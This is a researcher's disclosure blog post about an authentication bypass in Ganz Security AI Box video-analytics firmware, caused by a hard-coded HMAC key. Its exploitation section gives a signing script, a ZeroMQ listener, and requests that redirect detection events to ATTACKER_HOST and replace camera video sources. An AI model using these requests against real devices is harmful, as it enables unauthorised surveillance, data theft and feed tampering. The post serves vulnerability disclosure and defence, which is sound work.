GANZ Security AI Box: A New Generation AI-Based Intelligent Video Analytics Solution - The intelligent extension for almost every camera system. Thanks to the numerous algorithms for deep learning and analysis with which it is equipped, the AI-BOX is able to recognize the detected objects precisely and immediately and classify them: People, vehicles, motorcycles, bicycles…

For this blog post, we have a target capable of providing Artificial Intelligence (AI) algorithms to detect different regions of interest in video streams. I found such a device at the public Internet some months ago during a normal working day but in the beginning didn’t know which product was behind. All I got was this login page.

aibox.png

First, I searched for similar instances via Censys, using the title “AI Box”. Interestingly, I found over 3000 devices but not all of them with the “Ganz Security Solutions” logo. A few months after the disclosure of the vulnerabilities to Ganz Security, a second surveillance camera system vendor made contact and told me that the core of the affected firmware is indeed used in different products of various vendors. It was sheer coincidence that I chose the Ganz Security firmware at first, it seems.

The Firmware

Looking for the latest version of the firmware, I found the presumably correct binary blob at https://www.ganzsecurity.it/index.php/jdownload/summary/5-firmware/706-ai-box4-72110-fw-100367 (the link is already down at the time of this publication).

I then used the “binwalk on steroids”, unblob, which even provides a Docker-ized version, making things a bit easier and more secure.

docker run \
  --rm \
  --pull always \
  -v ./unblob/output:/data/output \
  -v ./unblob/input:/data/input \
ghcr.io/onekey-sec/unblob:latest /data/input/$1
          Chunks distribution          
┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━┓
┃ Chunk type     ┃   Size    ┃ Ratio  ┃
┡━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━┩
│ EXTFS          │  1.99 GB  │ 47.57% │
│ SPARSE         │  1.10 GB  │ 26.16% │
│ SQUASHFS_V4_LE │ 780.80 MB │ 18.21% │
│ ELF64          │ 322.03 MB │ 7.51%  │
│ UNKNOWN        │ 10.51 MB  │ 0.25%  │
│ ZIP            │  6.21 MB  │ 0.14%  │
│ GZIP           │  5.88 MB  │ 0.14%  │
│ TAR            │ 870.00 KB │ 0.02%  │
│ AR             │ 299.94 KB │ 0.01%  │
└────────────────┴───────────┴────────┘

This looked promising, i.e. probably no encrypted blobs or similar stumbling blocks to get our hands dirty as fast as possible. Checking the extracted file system content at 72110.1.100367.100.bin_extract/72110.1.100367.100.nbn_extract/10691402-1186932114.sparse_extract/raw.image_extract revealed a familiar root directory tree.

AIBOX  dev   init   lib64       mkimg.rootfs   nfsroot  root   sharefs  usr
bin    etc   komod  linuxrc     mknod_console  opt      sbin   sys      var
boot   home  lib    lost+found  mnt            proc     share  tmp

Give URLs Please

Yes, we’re all interested to get straight to the meat by finding the underlying technology, enumerating the routes, audit the handler implementations and pwn all the things. But let’s do it step by step because blog posts often read a bit like magic.

What were we looking for first? Tech stack of course and I started with the first HTTP response.

HTTP/1.1 200 OK
Server: nginx <---------
Date: ...
Content-Type: text/html; charset=utf-8
Content-Length: 431
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
    <title>AI Box</title>
</head>
<body>
    <div id="app"></div>
    <script src="/static/media-stream-library.min.js"></script>
    <script src="/static/three.min.js"></script>
    <script src="/static/build.js?28dc5fdbfb1918e23af2e3aed6182ff1"></script>
</body>

</html>

Obviously, I first searched for the nginx configuration.

$ cat nginx.conf

user  root;
worker_processes  1;

#error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;
error_log /dev/null;

#pid        logs/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

    #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
    #                  '$status $body_bytes_sent "$http_referer" '
    #                  '"$http_user_agent" "$http_x_forwarded_for"';

    #access_log  logs/access.log  main;
    access_log off;

    sendfile        on;
    #tcp_nopush     on;

    #keepalive_timeout  0;
    keepalive_timeout  65;

    #gzip  on;

    include /AIBOX/web/conf/nginx.conf; <-----------
}

Nothing to interesting but another include reference to /AIBOX/web/conf/nginx.conf.

$ cat ../../AIBOX/web/conf/nginx.conf
    server {
        listen        80;
        server_name  localhost;
        server_tokens off;

        #charset koi8-r;

        #access_log  logs/host.access.log  main;
        #
        ## onvif
        location /onvif {
            proxy_pass   http://127.0.0.1:10030;
	    }
	    ## http tunneling
        location /live {
            proxy_buffering off;
            chunked_transfer_encoding off;

            proxy_request_buffering off;

            proxy_pass  http://127.0.0.1:701;
	    }

        location / {
            root   html;
            index  index.html index.htm;
        }

        location = /favicon.ico {
            access_log off;
            log_not_found off;
            return 404;
        }

        location = /robots.txt {
            access_log off;
            log_not_found off;
            return 404;
        }
		[...]
    # HTTPS server
    #
    server {
        # error_page 497 = @fallback;
        error_page 497 https://$host:8443$request_uri;

        listen        8443 ssl; <-------
        server_name  _;
        server_tokens off;
		[...]
        ## onvif
        location /onvif {
            proxy_pass   http://127.0.0.1:10030;
	}
        
        location /itx {
            include proxy.conf;
        }
        location ~ ^/api/system/management/db/import/$ {
            client_max_body_size 256M;
            include proxy.conf;
        }
        location ~ ^/api/system/management/fwupdate/(upload|run)/$ {
            client_max_body_size 32M;
            include proxy.conf;
        }
        #Location for JanusGW - ugiepark 20190430
        #location /janus {
        #        proxy_set_header Host $host;
        #        proxy_set_header X-Real-IP $remote_addr;
        #        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        #        proxy_pass http://127.0.0.1:8088;
        #}
        #location /download/ {
        #    auth_digest 'itxrealm';
        #    auth_digest_user_file /etc/passwd.digest;
        #    auth_digest_expires 5s;
        #    auth_digest_replays 500;
        #    auth_digest_maxtries 30;
        #    auth_digest_evasion_time 60s;
        #    root /common;
        #    sendfile on;
        #}
        location /ws {
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "Upgrade";
            proxy_set_header Origin "";
            #proxy_set_header Host $host;
            #proxy_set_header X-Real-IP $remote_addr;
            #proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_pass http://127.0.0.1:702;
        }
        location / {
            #auth_digest 'itxrealm';
            #auth_digest_user_file /etc/passwd.digest;
            #auth_digest_expires 5s;
            #auth_digest_replays 500;
            #auth_digest_maxtries 30;
            #auth_digest_evasion_time 60s;
            include proxy.conf;
        }
		[...]

Since I found this AI Box web service being exposed on TCP port 8443, focusing on the HTTPS configuration part made sense. There was indeed tons of interesting information on this nginx configuration file(s) to look for e.g. misconfigurations or simply to understand the architecture of this device. Just for the record: I ran into a lot of rabbit holes during this process!

But the location / directive should be a good starting point, so proxy.conf in the same directory was investigated next.

$ cat proxy.conf 
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://127.0.0.1:8000;

A web service running on TCP port 8000, listening only on the loopback interface seemed to handle incoming HTTP requests for this case. But we didn’t have access to an AI Box through a shell or something. Also I didn’t want to waste a lot of time with trying to get this running in a QEMU environment at this early stage of investigation. So I decided: let’s just go to the parent directory AIBOX/web first and try to l00t some stuff. The run.py contained the following Python code.

from webra import create_app, create_api_spec, cert_restore

if __name__ == '__main__':
    app = create_app() # [1]

    # cert restore
    cert_restore()

    # api document
    create_api_spec(app)

    # run server
    # app.run(host='0.0.0.0', threaded=True, port=8000, debug=False)
    app.run(host='127.0.0.1', threaded=True, port=8000, debug=False)

Direct hit! We recognize the port 8000 again and we knew Python was the next part of our tech stack enumeration. Following the code at [1] brought me to the file webra/__init__.py.

from apispec import APISpec
from apispec.ext.marshmallow import MarshmallowPlugin
from apispec_webframeworks.flask import FlaskPlugin
from marshmallow import Schema, fields
from flask import Flask
from . import urls

from webra.routes import api_network_video_source, api_network_metadata
from webra.routes import api_system_info, api_system_management
from webra.routes import api_board_io, api_bi_counter
from webra.routes import api_rule_event_server
from webra.routes import api_snapshot
from webra.routes import api_source_lpr
from webra.routes import api_source_fr
from webra.routes import api_capability
from webra.routes import api_network_wireless_setup
from webra.routes import api_system_db
import json
import os
import shutil

def create_app():
    app = Flask(__name__, instance_relative_config=True) # [2]
    app.config.from_mapping(
        SECRET_KEY='dev',
        DATABASE=os.path.join(app.instance_path, 'db.sqlite3'),
    )
    app.config.from_pyfile('config.py', silent=True)
    app.config['MAX_CONTENT_LENGTH'] = 256 * 1024 * 1024

    urls.init_app(app)
    return app
[...]

[2] disclosed that the targeted web services were built on Flask, a micro web framework written in Python. We spotted other interesting clues like hard-coded secret keys, SQLite as database engine etc. pp. Going back to run.py a method create_api_spec(app) got called.

def create_api_spec(app):
    # api doucment
    #  refer
    #  - https://redocly.github.io/redoc/
    #  - https://redocly.github.io/redoc/openapi.yaml
    #  - https://marshmallow.readthedocs.io/en/stable/api_reference.html
    #  - https://apispec.readthedocs.io/en/latest/special_topics.html
    info = {
        "description": ('# Authentication\n'
                        '1. User-Agent in HTTP header SHOULD be \"Client Application\".\n'
                        '2. One of the following HTTP API authentications is required:\n'
                        '  - Digest Authentication (Recommended)\n'
                        '  - Basic Authentication\n'
                        '\nMost HTTP clients or libraries support these authentication methods. (E.g. curl, wget, Postman)\n'
                        )
    }
    spec = APISpec(
        title="HTTP API Document",
        version="1.0.0",
        openapi_version="3.0.2",
        plugins=[FlaskPlugin(), MarshmallowPlugin()],
        servers=[{'url': '/'}],
        info=info,
        tags=[],
    )

    with app.test_request_context(): # [3]
        spec.path(view=api_capability.get_capability)
        spec.path(view=api_network_video_source.get_vsources)
        spec.path(view=api_network_video_source.update_vsources)
        spec.path(view=api_source_lpr._CR_lps)
        spec.path(view=api_source_lpr._UD_lp)
        spec.path(view=api_source_lpr._REL_bind)
        spec.path(view=api_source_lpr._REL_unbind)
        spec.path(view=api_source_fr._CR_faces)
        spec.path(view=api_source_fr._UD_face)
		[...]

Nice, an API specification definition probably generating Swagger-like output for different URI paths listed at [3]. spec.path(view=api_network_video_source.get_vsources) sounded like an interesting path for a first drill-down. We’re looking at an AI Box doing fancy stuff with video stream content, right? Jumping to the route definition in webra/routes/api_network_video_source.py showed this.

@bp.route('/', methods=['GET'])
def get_vsources():
    """
    Video Source 조회
    ---
    get:
      tags:
        - Video Source
      summary: Get Video Sources
      description: |
        Returns a list of video sources.<br>
        The length of the list is the maximum number of channels supported by the device.

      responses:
        '200':
          description: successful operation
          content:
            application/json:
              schema:
                type: array
                items: VideoSourceSchema
    """
    vsources = []
		count = nf_sysdb.get_uint("net.vsource.count")
	[...]

The nf_sysdb modules by the way were not resolved in my IDE automatically. Why? Because these were defined in .pyc files. One had to decompile these with one of many pyc decompilers available today.

pyc file contains the “compiled bytecode” of the imported module/program so that the “translation” from source code to bytecode can be skipped on subsequent imports of the *. py file. Having a *. pyc file saves the compilation time of converting the python source code to byte code, every time the file is imported. (Source)

As the name of the module indicated, these were operations on the database but I wasn’t interested in these too much, so let’s just proceed. Unfortunately, I couldn’t simply call the endpoint from an unauthenticated context. The “responsible” part: from ..auth.digest import auth probably. Investigating a bit further brought me back to the method create_app().

def create_app():
    app = Flask(__name__, instance_relative_config=True)
		[...]
    urls.init_app(app) # [4]
    return app

We follow the call at [4] to webra/urls.py.

def init_app(app):
    for url in urls:
        bp, prefix, login_required = url
        if login_required:
            bp.before_request(auth.login_required(lambda *args: None))
            bp.before_request(check_permission)
        app.register_blueprint(bp, url_prefix=prefix)
[...]

For every entry in the urls list, a triple bp, prefix, login_required was read. If login_required evaluated to True, the auth.login_required() call got relevant, implemented in bwebra/auth/multiauth.py. The code basically checked for Bearer tokens and Basic Auth headers which were then validated in subsequent steps. I didn’t spot any immediate flaws in their logic (you might?), so got back to the urls list.

urls = [
    # (blueprint, url_prefix, login_required)
    (api_capability.bp, '/itx', False),
    # (api_rule_face_recognition.bp, '/api-noauth/rule/fr', False),
    (api_events.bp, '/api/events', True),
    (api_event_callback_zmq.bp, '/api/event/callback/zmq', True),
    (api_network_ip_setup.bp, '/api/network/ip', True),
    (api_network_metadata.bp, '/api/network/metadata', True),
    (api_network_video_source.bp, '/api/network/vsources', True),
    (api_network_sequrinet.bp, '/api/network/sequrinet', True),
	[...]

As expected, every entry consisted of a triple, the third part specifying the login_required condition. At the very top, I found (the only) entry with a False: (api_capability.bp, '/itx', False). No authentication required for routes defined in webra/routes/api_capability.py? Let’s have a look at the route definitions.

@bp.route('/capability/', methods=['GET'])
def get_capability():
    """
    Get Capability
    ---
    get:
      tags:
        - Capability
      summary: Get Capability
      description: Get system capability, license info, etc.
	  [...]

Mhmm, no authentication/authorization checks visible but also not really any code with interesting processing of user-controllable input. Next one:

@bp.route('/ai/analytics/', methods=['GET'])
def get_ai_analytics():
    if not authentication( # [6]
            request.headers.get('X-Auth-Signature'),
            request.headers.get('Date'),
            request.data.decode()):
        return HttpUnauthorized("")
    
    vsources = []
    lang = request.args.get("lang", "en") # [5]
    count = nf_sysdb.get_uint("net.vsource.count")
	[...]

Yes, some user-controlled input indeed at [5] but what is [6] all about? They implemented another “authentication” check just for this routing class? Great…

The Flaw

The authentication (or better authorization imho) check seemed to use different parts of the request to decide if access would be granted or not via the method authentication.

def authentication(signature, rfc822_date, body):
    try:
        plain = '{0}:{1}'.format(body, rfc822_date)
        hamc_key = '[REDACTED]'
        signature_want = hmac.new(hamc_key.encode(), plain.encode(), hashlib.sha256).hexdigest()

        timestamp = email.utils.mktime_tz((email.utils.parsedate_tz(rfc822_date)))
        expires = timestamp + 3600
        cur_ts = int(time.time())

    except Exception as e:
        print(e)
        return False

    if signature_want == signature:
        if cur_ts < expires and cur_ts - timestamp < 3600:
            return True
        print("* Token Auth Failed. cur_ts[{}] expires[{}]".format(cur_ts, expires))
    return False

So the method took three parameters from the request:

  • A header value for the key X-Auth-Signature
  • A header value for the key Date
  • The request body content

Here was the flaw: a hard-coded secret for the HMAC calculation in hamc_key (yes, I copypasta’d this variable name). The provided request body got concatenated with the provided Date header value and then hmac.new calculated a signature value across the entire content. If the calculated value equaled to the header value for X-Auth-Signature: Access Granted. Also one had to take into account that there was an accepted time range only for the corresponding Date value. This shouldn’t have been a problem, though, since a simple GET request to / returned the device’s timestamp in the Date response header anyways.

Exploitation

So all the routes in webra/routes/api_capability.py should theoretically now have been accessible to us. For a simple GET request to e.g. the URI path /itx/ai/analytics/, we could calculate the the HMAC easily

import hashlib
import hmac

body = ""
rfc822_date = "Mon, 26 Jun 2023 08:03:16 GMT"

plain = '{0}:{1}'.format(body, rfc822_date)
hamc_key = '<REDACTED>'
signature_want = hmac.new(hamc_key.encode(), plain.encode(), hashlib.sha256).hexdigest()

print(signature_want)

and sent the following request:

GET /itx/ai/analytics/ HTTP/1.1
Host: HOST:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Auth-Signature: 2b8d91502dbd42a8f3ec98e44d062157c64ae2aea4f6a7730da1256ca218f446
Date: Mon, 26 Jun 2023 08:03:16 GMT
Connection: close

The AI Box responded with the following content:

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 26 Jun 2023 08:03:58 GMT
Content-Type: application/json
Content-Length: 4049
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

[
  {
    "ai": "mot_human_car_mid", 
    "algo_type": "mot", 
    "category": "Human/Car", 
    "ch": 0, 
    "name": "Entrance 1", 
    "text": "Human / Vehicle Detector", 
    "url": "rtsp://ADMIN:12345@10.0.0.1:5553/live/second0"
  }, 
  {
    "ai": "mot_human_car_mid", 
    "algo_type": "mot", 
    "category": "Human/Car", 
    "ch": 1, 
    "name": "Security Zone 2", 
    "text": "Human / Vehicle Detector", 
    "url": "rtsp://ADMIN:12345@10.0.0.1:5553/live/second1"
  }, 
  {
    "ai": "mot_human_car_mid", 
    "algo_type": "mot", 
    "category": "Human/Car", 
    "ch": 2, 
    "name": "Supplier Entrance", 
    "text": "Human / Vehicle Detector", 
    "url": "rtsp://ADMIN:12345@10.0.0.1:5553/live/second2"
  }
  [...]

Great! No 401 Unauthorized but configurations of video source channels with IP address and even credentials. Ok, but where is the Hollywood part now, you might ask?! I got two API calls for you for the cinema feelings.

Track Detections

What about receiving an event to your attacker machine every time a vehicle, person etc. would have been detected on one of the video input streams? The following API will help us to do exactly this.

@bp.route('/ai/owner/', methods=['POST'])
def post_ai_owner():
    if not authentication(
            request.headers.get('X-Auth-Signature'),
            request.headers.get('Date'),
            request.data.decode()):
        return HttpUnauthorized("")

    data = request.get_json(force=True) # [7]
    owner = data.get("owner")
    zmq_addr = data.get("zmq_addr")

    if not owner or len(owner) < 12:
        return HttpBadRequest("The valid `owner` param is required.")

    if not zmq_addr or "tcp://" not in zmq_addr:
        return HttpBadRequest("The valid `zma_addr` param is required.")

    _owner = nf_sysdb.get_str("ai.analytics.owner")
    if owner != _owner and _owner != "":
        return HttpForbidden("other owner is already registered.")

    nf_sysdb.set_str("ai.analytics.owner", owner)

    # count = nf_sysdb.get_uint("event.callback.zmq.count")
    # for i in range(count):
    #     if i == 0:
    #         nf_sysdb.set_str("event.callback.zmq.Z{}.addr".format(i), zmq_addr)
    #     else:
    #         nf_sysdb.set_str("event.callback.zmq.Z{}.addr".format(i), "")
    nf_sysdb.set_zmq_meta_addrs([zmq_addr])

    return jsonify(data)

At [7] our POST request body was parsed as JSON. The JSON should contain two members, owner and zmq_addr. I understood owner but zmq_addr? After asking Google, I was pretty sure to define a ZeroMQ host URL with this. According to Wikipedia:

ZeroMQ (…) is an asynchronous messaging library, aimed at use in distributed or concurrent applications. It provides a message queue, but unlike message-oriented middleware, a ZeroMQ system can run without a dedicated message broker; the zero in the name is for zero broker. The library’s API is designed to resemble Berkeley sockets.

I had to implement a “ZeroMQ” participant component then, right?

#!/usr/bin/env python3

import time
import zmq

context = zmq.Context()
socket = context.socket(zmq.PULL) # PULL, PUB, REP
socket.bind("tcp://*:1337")
print("[+] ZMQ server started")

while True:
    #  Wait for next request from client
    message = socket.recv()
    print("Received request: %s" % message)
    print("---------------------------------------------")

    #  Do some 'work'

Now sending a POST request as shown next, should configure our attacker host as ZeroMQ participant:

POST /itx/ai/owner/ HTTP/1.1
Host: HOST:8443
X-Auth-Signature: [HMAC_VALUE]
Date: Mon, 19 Jun 2023 11:32:20 GMT
Connection: close
Content-Type: application/json
Content-Length: [length]

{"owner":"Tom Cruise Ltd", "zmq_addr":"tcp://[ATTACKER_HOST:1337]"}

And indeed, almost immediately after the POST request was sent, my ZeroMQ Python server began to receive data from the AI Box. I cannot provide the screenshots due to confidentiality (yes, I also altered all the other request/response contents) but incoming messages looked something like this:

Received request: b'{"source":"rtsp://10.0.0.1:555/Streaming/Channels/1?transportmode=unicast", "topic":"Detector/ObjectDetected","metadata":{"annotations":[{"class":"person","score":0.430000000123123123,"track_id":23234}]}}

Every minute or so I even observed informative “Heartbeat” messages "topic":"System/Keepalive/Heartbeat" containing all the configuration data. So this allowed me to track every detection event of persons, vehicles etc. as well as retrieving the current state of configuration of the device repeatedly.

Change Video Source

The final Hollywood call? What if we could change the video input source URLs such that we’d have been able to serve our own video stream content? Here we go, changing the input source channel 14 RTSP URL with our own URL:

POST /itx/ai/analytics/?owner=Tom+Cruise+Ltd HTTP/1.1
Host: HOST:8443
X-Auth-Signature: [HMAC_VALUE]
Date: Mon, 19 Jun 2023 11:55:14 GMT
Connection: close
Content-Type: application/json
Content-Length: [length]

[{"ch":"14", "name":"my own channel", "url":"rtsp://[ATTACKER_HOST]/mystream"}]

Conclusions

We didn’t find an unauth’d RCE but at least some unauth’d “Mr. Robot bugs”. Again, be aware that the Ganz Security Solutions device firmware might not be the solely responsible for these flaws. You’ll find more devices by other vendors and resellers when comparing Censys results with the login page I provided in the beginning of this blog post. Full impact for now? Not sure, yet. Also, after my disclosure process, Ganz Security provided a patched firmware version (mid of July 2023) to their customers but never really disclosed any issues to the public. Check your firmware version on your devices to be at least dated to 2023.

Internet Exposure Check

As mentioned in the introduction, a non-exhaustive Censys search revealed more than 3000 devices on the public Internet.

Indicators of Compromise (IoCs)

Unfortunately, I can only give vague advices this time because I don’t have shell access to such a device. These findings were found only through static analysis and tested against a few live targets over the Internet. But blocking and/or monitoring of any requests targeting /itx URI paths might be a good idea. Taking into account the request headers X-Auh-Signature and Date might also help to differentiate.